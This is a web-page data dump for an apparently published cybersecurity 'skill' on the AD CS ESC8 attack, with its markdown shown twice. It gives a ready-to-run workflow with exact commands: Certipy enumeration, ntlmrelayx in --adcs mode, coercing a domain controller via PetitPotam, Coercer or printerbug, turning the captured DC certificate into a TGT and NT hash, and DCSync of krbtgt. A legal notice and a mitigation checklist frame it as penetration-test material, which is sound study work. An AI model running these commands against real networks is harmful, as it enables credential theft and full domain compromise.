[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG6NC62BFKASMS7N8Z575M":3,"skill-same:01M6AG6NC62BFKASMS7N8Z575M":112},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":8,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":18,"categories":19,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":70,"repositoryHtmlUrl":71,"repositoryHomepageUrl":72,"ownerHtmlUrl":73,"ownerBlogUrl":74,"ownerDescription":75,"updatedAt":76,"install":77,"resources":90},"01M6AG6NC62BFKASMS7N8Z575M","relaying-ntlm-for-adcs-esc8","AD CS ESC8 NTLM 中继利用","Uses Impacket's ntlmrelayx.py with a coercion tool (PetitPotam, Coercer, printerbug) to relay NTLM authentication from a coerced domain controller into the AD CS HTTP web-enrollment endpoint (ESC8), obtaining a DC certificate usable via Certipy for PKINIT\u002FDCSync. Use during internal AD penetration tests or purple-team exercises when AD CS Web Enrollment lacks Extended Protection for Authentication.","使用 Impacket 的 ntlmrelayx.py 配合强制认证工具（PetitPotam、Coercer、printerbug），将来自被强制的域控制器的 NTLM 认证中继到 AD CS 的 HTTP 网页注册端点（ESC8），获取可经 Certipy 用于 PKINIT\u002FDCSync 的域控制器证书。适用于内部 AD 渗透测试或紫队演练中，当 AD CS Web Enrollment（网页注册）缺少扩展身份验证保护（Extended Protection for Authentication）时。","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0",null,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002FSKILL.md",[20,25],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BR4MYFKGCC4WCWVJ50KJ2C","安全工程师","PROFESSION","适用职业",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C7NMKVVN7CCC4BCVAW8B18","渗透测试与红队行动","SCENARIO","使用场景",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"relaying ntlm for adcs esc8","adcs","esc8","ntlm-relay","certificate","endpoint","Impacket","controller","purple-team","dcsync","directory","coercer","petitpotam","coercion","escalation","active-directory","red-team","authentication","http","cybersecurity","2026-11-10 10:12:30",false,"---\nname: relaying-ntlm-for-adcs-esc8\ndescription: Uses Impacket's ntlmrelayx.py with a coercion tool (PetitPotam, Coercer,\n  printerbug) to relay NTLM authentication from a coerced domain controller into\n  the AD CS HTTP web-enrollment endpoint (ESC8), obtaining a DC certificate usable\n  via Certipy for PKINIT\u002FDCSync. Use during internal AD penetration tests or purple-team\n  exercises when AD CS Web Enrollment lacks Extended Protection for Authentication.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- ntlm-relay\n- adcs\n- esc8\n- impacket\n- certipy\n- active-directory\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1557.001\n---\n# Relaying NTLM for ADCS ESC8\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.\n\n## Overview\n\nESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in \"Certified Pre-Owned.\" It abuses the AD CS **HTTP web-enrollment endpoint** (`\u002Fcertsrv\u002F`), which by default supports NTLM authentication and, critically, does **not** enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can **coerce** a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then **relay** that NTLM authentication to the CA's web-enrollment page and request a certificate **as the coerced machine**.\n\nWhen the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (`DC01$`). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK **T1557.001 (Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay)**, extended here to NTLM relay against an HTTP enrollment service.\n\nThe standard toolchain is **Impacket's `ntlmrelayx.py`** (the relay engine, with `--adcs` mode), a coercion tool (**PetitPotam**, **Coercer**, **printerbug.py\u002Fdementor**), and **Certipy** for enumeration and for turning the captured certificate into a TGT \u002F NT hash.\n\n## When to Use\n\n- During an internal AD penetration test where AD CS with the HTTP Web Enrollment role is present and EPA is not enforced.\n- When you have a foothold (even an unauthenticated network position with a coercion vector) and want a path to Domain Admin via certificate impersonation.\n- When validating that the organization has mitigated ESC8 (EPA enabled, HTTP enrollment disabled, RPC\u002FEFSRPC coercion patched).\n- During purple-team exercises to test detection of coercion + relay + anomalous certificate enrollment.\n\n## Prerequisites\n\n- A network position that can reach the CA web-enrollment endpoint and a coercion vector to the target DC.\n- The CA hostname and an enrollable template that yields client-auth EKU (e.g., `DomainController`, `Machine`).\n- Tooling (install from official upstreams):\n\n```bash\n# Impacket (provides ntlmrelayx.py \u002F impacket-ntlmrelayx)\npipx install impacket\n\n# Certipy (AD CS enumeration + abuse)\npipx install certipy-ad\n\n# Coercion tools\ngit clone https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam.git\npipx install coercer            # https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer\n# printerbug.py ships with Impacket examples (MS-RPRN)\n```\n\n## Objectives\n\n- Enumerate AD CS to confirm an ESC8-vulnerable web-enrollment endpoint.\n- Stand up `ntlmrelayx` in `--adcs` mode targeting the CA enrollment URL.\n- Coerce a domain controller to authenticate to the relay (PetitPotam\u002FCoercer\u002Fprinterbug).\n- Capture the base64 certificate issued for the DC machine account.\n- Use Certipy to convert the certificate into a TGT and recover the DC NT hash.\n- Validate domain compromise (DCSync) and document mitigations.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1557.001 | Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay | Credential Access \u002F Collection | The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint. |\n| T1187 | Forced Authentication | Credential Access | PetitPotam\u002Fprinterbug coerce the DC to authenticate to the attacker. |\n| T1649 | Steal or Forge Authentication Certificates | Credential Access | The attack yields a certificate for the DC machine account used for PKINIT. |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access | The recovered DC identity enables DCSync for full domain compromise. |\n\n## Workflow\n\n### 1. Enumerate AD CS for ESC8\n\nUse Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:\n\n```bash\ncertipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout\n```\n\nLook for `ESC8` in the output and note the CA's web-enrollment URL (e.g., `http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp`).\n\n### 2. Start the NTLM relay in ADCS mode\n\nPoint `ntlmrelayx` at the CA's web-enrollment endpoint and request a `DomainController` template certificate. `--adcs` enables AD CS relay; `-smb2support` accepts SMB2 coerced auth:\n\n```bash\nimpacket-ntlmrelayx \\\n  -t http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp \\\n  -smb2support \\\n  --adcs \\\n  --template DomainController\n```\n\nFor relaying a member server\u002Fworkstation instead of a DC, use `--template Machine` (or `User` for a user account).\n\n### 3. Coerce the domain controller to authenticate\n\nTrigger the DC to authenticate to the relay listener using a coercion primitive.\n\nPetitPotam (MS-EFSRPC):\n\n```bash\n# python3 PetitPotam.py \u003Clistener\u002Fattacker IP> \u003Ctarget DC IP>\npython3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10\n```\n\nCoercer (multi-protocol coercion):\n\n```bash\ncoercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10\n```\n\nprinterbug.py (MS-RPRN, ships with Impacket):\n\n```bash\npython3 printerbug.py corp.local\u002Fattacker:'Password123!'@10.0.0.10 10.0.0.50\n```\n\n### 4. Capture the issued certificate\n\nWhen the coerced DC authenticates, `ntlmrelayx` relays it to the CA and prints output similar to:\n\n```\n[*] Authenticating against http:\u002F\u002Fca01.corp.local as CORP\u002FDC01$ SUCCEED\n[*] GOT CERTIFICATE! ID 1337\n[*] Base64 certificate of user DC01$:\nMIIRXAIBAzCC...\u003Csnip>...\n```\n\nSave the base64 PKCS#12 blob to a `.pfx` file (decode it; the cert has no export password by default):\n\n```bash\necho 'MIIRXAIBAzCC...\u003Csnip>...' | base64 -d > dc01.pfx\n```\n\n### 5. Convert the certificate to a TGT and NT hash\n\nUse Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:\n\n```bash\ncertipy auth -pfx dc01.pfx -dc-ip 10.0.0.10\n```\n\nCertipy outputs a `.ccache` TGT and the NT hash, e.g. `[*] Got hash for 'dc01$@corp.local': aad3b435...:\u003CNTHASH>`.\n\n### 6. Leverage the DC identity (DCSync)\n\nWith the DC machine account's hash\u002FTGT, perform DCSync to extract domain credentials (e.g., `krbtgt`, Domain Admins) using the recovered TGT:\n\n```bash\n# Use the ccache TGT, then DCSync via secretsdump\nexport KRB5CCNAME=dc01.ccache\nimpacket-secretsdump -k -no-pass corp.local\u002F'DC01$'@dc01.corp.local -just-dc-user krbtgt\n```\n\n### 7. Validate mitigations (defensive checklist)\n\nConfirm the environment is hardened against ESC8 after testing:\n\n- Enable Extended Protection for Authentication (EPA) on the AD CS web-enrollment IIS site and require HTTPS.\n- Disable NTLM on the CA enrollment endpoint; prefer the enrollment proxy with EPA.\n- Remove unused HTTP Web Enrollment role services where possible.\n- Patch coercion vectors (MS-EFSRPC\u002FPetitPotam, MS-RPRN\u002Fprinterbug) and restrict RPC.\n- Monitor for forced authentication and anomalous machine-account certificate enrollment.\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| Impacket ntlmrelayx | NTLM relay engine with `--adcs` mode | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| Certipy | AD CS enumeration and certificate abuse | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| PetitPotam | MS-EFSRPC coercion | https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam |\n| Coercer | Multi-protocol coercion | https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer |\n| Certified Pre-Owned (SpecterOps) | Original AD CS abuse research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| SpecterOps CoerceAndRelayNTLMToADCS | ESC8 edge reference | https:\u002F\u002Fbloodhound.specterops.io\u002Fresources\u002Fedges\u002Fcoerce-and-relay-ntlm-to-adcs |\n\n## Validation Criteria\n\n- [ ] AD CS enumerated and an ESC8-vulnerable web-enrollment endpoint confirmed with `certipy find -vulnerable`.\n- [ ] `ntlmrelayx --adcs --template DomainController` listener running against the CA URL.\n- [ ] Coercion (PetitPotam\u002FCoercer\u002Fprinterbug) triggered against the target DC.\n- [ ] Base64 certificate for the DC machine account captured and saved as `.pfx`.\n- [ ] Certificate converted to a TGT and NT hash with `certipy auth`.\n- [ ] Domain compromise validated via DCSync (in scope only).\n- [ ] EPA\u002FHTTPS and coercion-patch mitigations verified and documented.\n","# Relaying NTLM for ADCS ESC8\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.\n\n## Overview\n\nESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in \"Certified Pre-Owned.\" It abuses the AD CS **HTTP web-enrollment endpoint** (`\u002Fcertsrv\u002F`), which by default supports NTLM authentication and, critically, does **not** enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can **coerce** a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then **relay** that NTLM authentication to the CA's web-enrollment page and request a certificate **as the coerced machine**.\n\nWhen the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (`DC01$`). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK **T1557.001 (Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay)**, extended here to NTLM relay against an HTTP enrollment service.\n\nThe standard toolchain is **Impacket's `ntlmrelayx.py`** (the relay engine, with `--adcs` mode), a coercion tool (**PetitPotam**, **Coercer**, **printerbug.py\u002Fdementor**), and **Certipy** for enumeration and for turning the captured certificate into a TGT \u002F NT hash.\n\n## When to Use\n\n- During an internal AD penetration test where AD CS with the HTTP Web Enrollment role is present and EPA is not enforced.\n- When you have a foothold (even an unauthenticated network position with a coercion vector) and want a path to Domain Admin via certificate impersonation.\n- When validating that the organization has mitigated ESC8 (EPA enabled, HTTP enrollment disabled, RPC\u002FEFSRPC coercion patched).\n- During purple-team exercises to test detection of coercion + relay + anomalous certificate enrollment.\n\n## Prerequisites\n\n- A network position that can reach the CA web-enrollment endpoint and a coercion vector to the target DC.\n- The CA hostname and an enrollable template that yields client-auth EKU (e.g., `DomainController`, `Machine`).\n- Tooling (install from official upstreams):\n\n```bash\n# Impacket (provides ntlmrelayx.py \u002F impacket-ntlmrelayx)\npipx install impacket\n\n# Certipy (AD CS enumeration + abuse)\npipx install certipy-ad\n\n# Coercion tools\ngit clone https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam.git\npipx install coercer            # https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer\n# printerbug.py ships with Impacket examples (MS-RPRN)\n```\n\n## Objectives\n\n- Enumerate AD CS to confirm an ESC8-vulnerable web-enrollment endpoint.\n- Stand up `ntlmrelayx` in `--adcs` mode targeting the CA enrollment URL.\n- Coerce a domain controller to authenticate to the relay (PetitPotam\u002FCoercer\u002Fprinterbug).\n- Capture the base64 certificate issued for the DC machine account.\n- Use Certipy to convert the certificate into a TGT and recover the DC NT hash.\n- Validate domain compromise (DCSync) and document mitigations.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1557.001 | Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay | Credential Access \u002F Collection | The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint. |\n| T1187 | Forced Authentication | Credential Access | PetitPotam\u002Fprinterbug coerce the DC to authenticate to the attacker. |\n| T1649 | Steal or Forge Authentication Certificates | Credential Access | The attack yields a certificate for the DC machine account used for PKINIT. |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access | The recovered DC identity enables DCSync for full domain compromise. |\n\n## Workflow\n\n### 1. Enumerate AD CS for ESC8\n\nUse Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:\n\n```bash\ncertipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout\n```\n\nLook for `ESC8` in the output and note the CA's web-enrollment URL (e.g., `http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp`).\n\n### 2. Start the NTLM relay in ADCS mode\n\nPoint `ntlmrelayx` at the CA's web-enrollment endpoint and request a `DomainController` template certificate. `--adcs` enables AD CS relay; `-smb2support` accepts SMB2 coerced auth:\n\n```bash\nimpacket-ntlmrelayx \\\n  -t http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp \\\n  -smb2support \\\n  --adcs \\\n  --template DomainController\n```\n\nFor relaying a member server\u002Fworkstation instead of a DC, use `--template Machine` (or `User` for a user account).\n\n### 3. Coerce the domain controller to authenticate\n\nTrigger the DC to authenticate to the relay listener using a coercion primitive.\n\nPetitPotam (MS-EFSRPC):\n\n```bash\n# python3 PetitPotam.py \u003Clistener\u002Fattacker IP> \u003Ctarget DC IP>\npython3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10\n```\n\nCoercer (multi-protocol coercion):\n\n```bash\ncoercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10\n```\n\nprinterbug.py (MS-RPRN, ships with Impacket):\n\n```bash\npython3 printerbug.py corp.local\u002Fattacker:'Password123!'@10.0.0.10 10.0.0.50\n```\n\n### 4. Capture the issued certificate\n\nWhen the coerced DC authenticates, `ntlmrelayx` relays it to the CA and prints output similar to:\n\n```\n[*] Authenticating against http:\u002F\u002Fca01.corp.local as CORP\u002FDC01$ SUCCEED\n[*] GOT CERTIFICATE! ID 1337\n[*] Base64 certificate of user DC01$:\nMIIRXAIBAzCC...\u003Csnip>...\n```\n\nSave the base64 PKCS#12 blob to a `.pfx` file (decode it; the cert has no export password by default):\n\n```bash\necho 'MIIRXAIBAzCC...\u003Csnip>...' | base64 -d > dc01.pfx\n```\n\n### 5. Convert the certificate to a TGT and NT hash\n\nUse Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:\n\n```bash\ncertipy auth -pfx dc01.pfx -dc-ip 10.0.0.10\n```\n\nCertipy outputs a `.ccache` TGT and the NT hash, e.g. `[*] Got hash for 'dc01$@corp.local': aad3b435...:\u003CNTHASH>`.\n\n### 6. Leverage the DC identity (DCSync)\n\nWith the DC machine account's hash\u002FTGT, perform DCSync to extract domain credentials (e.g., `krbtgt`, Domain Admins) using the recovered TGT:\n\n```bash\n# Use the ccache TGT, then DCSync via secretsdump\nexport KRB5CCNAME=dc01.ccache\nimpacket-secretsdump -k -no-pass corp.local\u002F'DC01$'@dc01.corp.local -just-dc-user krbtgt\n```\n\n### 7. Validate mitigations (defensive checklist)\n\nConfirm the environment is hardened against ESC8 after testing:\n\n- Enable Extended Protection for Authentication (EPA) on the AD CS web-enrollment IIS site and require HTTPS.\n- Disable NTLM on the CA enrollment endpoint; prefer the enrollment proxy with EPA.\n- Remove unused HTTP Web Enrollment role services where possible.\n- Patch coercion vectors (MS-EFSRPC\u002FPetitPotam, MS-RPRN\u002Fprinterbug) and restrict RPC.\n- Monitor for forced authentication and anomalous machine-account certificate enrollment.\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| Impacket ntlmrelayx | NTLM relay engine with `--adcs` mode | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| Certipy | AD CS enumeration and certificate abuse | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| PetitPotam | MS-EFSRPC coercion | https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam |\n| Coercer | Multi-protocol coercion | https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer |\n| Certified Pre-Owned (SpecterOps) | Original AD CS abuse research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| SpecterOps CoerceAndRelayNTLMToADCS | ESC8 edge reference | https:\u002F\u002Fbloodhound.specterops.io\u002Fresources\u002Fedges\u002Fcoerce-and-relay-ntlm-to-adcs |\n\n## Validation Criteria\n\n- [ ] AD CS enumerated and an ESC8-vulnerable web-enrollment endpoint confirmed with `certipy find -vulnerable`.\n- [ ] `ntlmrelayx --adcs --template DomainController` listener running against the CA URL.\n- [ ] Coercion (PetitPotam\u002FCoercer\u002Fprinterbug) triggered against the target DC.\n- [ ] Base64 certificate for the DC machine account captured and saved as `.pfx`.\n- [ ] Certificate converted to a TGT and NT hash with `certipy auth`.\n- [ ] Domain compromise validated via DCSync (in scope only).\n- [ ] EPA\u002FHTTPS and coercion-patch mitigations verified and documented.\n",{"name":5,"tags":56,"author":60,"domain":50,"license":16,"version":61,"nist_csf":62,"subdomain":64,"description":7,"mitre_attack":65},[47,34,32,33,57,58,46,59],"impacket","certipy","privilege-escalation","mahipal","1.0",[63],"DE.CM-01","red-teaming",[66],"T1557.001","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Frelaying-ntlm-for-adcs-esc8",4425,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":9,"skillName":5,"commands":78,"prompt":88,"zipAvailable":89},[79,82,85],{"tool":80,"command":81},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill relaying-ntlm-for-adcs-esc8",{"tool":83,"command":84},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill relaying-ntlm-for-adcs-esc8",{"tool":86,"command":87},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill relaying-ntlm-for-adcs-esc8","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002FSKILL.md",true,[91,96,102,106],{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002FLICENSE",{"path":97,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"references\u002Fapi-reference.md","REFERENCE","参考文档",2656,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002Freferences\u002Fapi-reference.md",{"path":103,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fstandards.md",1945,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002Freferences\u002Fstandards.md",{"path":107,"resourceType":108,"resourceTypeDesc":109,"sizeBytes":110,"sourceHtmlUrl":111},"scripts\u002Fagent.py","SCRIPT","脚本",7600,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002Fscripts\u002Fagent.py",[113,145,174,206,237,269],{"skillNo":114,"name":115,"nameZh":116,"description":117,"descriptionZh":118,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":119,"categories":120,"keywords":125,"publishedAt":51},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","SLSA 构建来源验证","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","使用 Sigstore 的 cosign（verify、verify-attestation、verify-blob-attestation）和 slsa-verifier（verify-artifact）验证工件签名和 SLSA 来源（provenance），强制校验 keyless OIDC 构建者身份和源仓库是否符合 SLSA Build 级别。适用于 CI\u002FCD 中部署工件前、消费第三方证明时、建立 SLSA Build L3 管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[121,122],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":123,"categoryName":124,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[126,127,128,129,130,50,131,132,133,134,135,136,137,138,139,140,141,142,143,144],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":146,"name":147,"nameZh":148,"description":149,"descriptionZh":150,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":151,"categories":152,"keywords":157,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[153,154],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":155,"categoryName":156,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[158,141,159,160,130,161,50,133,162,163,164,165,166,167,168,169,170,171,172,173],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":175,"name":176,"nameZh":177,"description":178,"descriptionZh":179,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":180,"categories":181,"keywords":188,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[182,185],{"categoryNo":183,"categoryName":184,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":186,"categoryName":187,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[168,189,190,191,192,50,193,194,162,195,196,197,198,199,200,201,202,203,204,205],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":207,"name":208,"nameZh":209,"description":210,"descriptionZh":211,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":212,"categories":213,"keywords":218,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, 